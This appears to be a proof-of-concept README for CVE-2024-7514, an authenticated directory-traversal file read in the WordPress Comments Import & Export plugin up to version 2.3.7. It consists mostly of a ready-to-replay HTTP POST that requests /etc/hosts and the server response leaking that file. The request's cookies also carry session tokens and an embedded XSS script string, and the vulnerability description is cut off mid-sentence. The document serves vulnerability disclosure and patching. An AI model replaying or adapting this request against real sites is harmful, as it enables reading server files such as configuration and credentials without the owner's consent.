来源

关联漏洞

Description

WordPress Comments Import & Export <= 2.3.7 - Authenticated (Author+) Arbitrary File Read via Directory Traversal

介绍

# CVE-2024-7514
WordPress Comments Import & Export <= 2.3.7 - Authenticated (Author+) Arbitrary File Read via Directory Traversal

# Description
The WordPress Comments Import & Export plugin for WordPress is vulnerable to to arbitrary file read due to insufficient file path validation during the comments import process, in versions up to, and including, 2.3.7. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary

# Info
```
Type: plugin
CVSS Score: 6.5
CVE: CVE-2024-7514
Link: https://downloads.wordpress.org/plugin/comments-import-export-woocommerce.2.3.7.zip
```

Note
---

You need a valid wt_nonce for this to work.

# POC
```
POST /wp-admin/admin-ajax.php?action=product_comments_csv_import_request&step=3 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?import=product_comments_csv&step=2&merge=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7Cf959d914959a79c3549c68a5a26370a966936f9e4a762431794351b288c5eb78; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; tk_ai=jetpack%3AQgOBg5M2jU%2B4Uorj9bZH7TTo; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-10-01%2019%3A20%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%3Futm_source%3Dwse%26utm_medium%3Dsettings%26utm_campaign%3Dorderactionsxmllink%26__jsn%3D1%2527%2520%253Cscript%253Ealert%28%2527XSS%2527%29%253C%2Fscript%253E%25%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-10-01%2018%3A37%3A42%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dutm%7C%7C%7Csrc%3Dwse%7C%7C%7Cmdm%3Dsettings%7C%7C%7Ccmp%3Dorderactionsxmllink%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D5%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A131.0%29%20Gecko%2F20100101%20Firefox%2F131.0; PHPSESSID=dd74ceb3c42bd8f880d4a9c518eafe7d; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7C7343e8a0bf653c33d89b2f96e3637a4249fd36bcaae0ff672151121068eea755; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1728639058

file=/etc/hosts&wt_nonce=183f391f2b&mapping=[1,2]&profile=test_profile&eval_field[0]=some_value&start_pos=0&end_pos=
```

```
HTTP/1.1 200 OK
Date: Fri, 11 Oct 2024 10:41:16 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Access-Control-Allow-Origin: http://kubernetes.docker.internal
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1321

<!--WC_START-->{"import_results":[{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"::1\\tlocalhost ip6-localhost ip6-loopback\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"fe00::0\\tip6-localnet\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff00::0\\tip6-mcastprefix\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::1\\tip6-allnodes\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::2\\tip6-allrouters\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"172.20.0.4\\t1c54388ce47a\"}"}],"processed_posts":[],"post_orphans":[]}<!--WC_END-->
```

文件快照

 [4.0K]  /data/pocs/f247c99328f3031c85725e743ac629a31b11ee95
└── [5.2K]  README.md

0 directories, 1 file

备注